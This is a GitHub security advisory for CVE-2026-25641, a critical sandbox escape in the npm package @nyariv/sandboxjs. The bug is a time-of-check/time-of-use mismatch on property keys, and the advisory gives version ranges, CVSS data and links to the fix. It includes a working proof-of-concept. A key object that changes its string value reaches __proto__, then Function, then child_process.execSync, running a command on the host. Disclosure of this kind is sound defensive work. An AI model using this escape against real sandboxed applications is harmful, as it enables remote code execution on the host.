GHSA-7X3H-RM86-3342

Vulnerability from github – Published: 2026-02-05 21:33 – Updated: 2026-02-06 21:42
VLAI?
Summary
@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
Details

Summary

A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.

Details

Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.

PoC

const Sandbox = require('@nyariv/sandboxjs').default;

const code = `
let a = new Map;
a.x = 23;
let count = 0;

let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();

Impact

Remote code execution, if attacker can execute code inside the sandbox.

Severity ?
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:33:04Z",
    "nvd_published_at": "2026-02-06T20:16:11Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.\n\n### Details\nEven though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced:\nhttps://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304\nSo, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.\n\n### PoC\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\n\nconst code = `\nlet a = new Map;\na.x = 23;\nlet count = 0;\n\nlet nastyProp = {toString: () =\u003e {if (count\u003c1){count++;return \"x\"} else return \"__proto__\"}}\nlet mapProt = a[nastyProp];\nmapProt.has = isFinite;\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n  )(),\n);`;\nconst scope = {};\nconst sandbox = new Sandbox();\nconst exec = sandbox.compile(code);\nexec(scope).run(); \n```\n\n### Impact\nRemote code execution, if attacker can execute code inside the sandbox.",
  "id": "GHSA-7x3h-rm86-3342",
  "modified": "2026-02-06T21:42:58Z",
  "published": "2026-02-05T21:33:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses"
}


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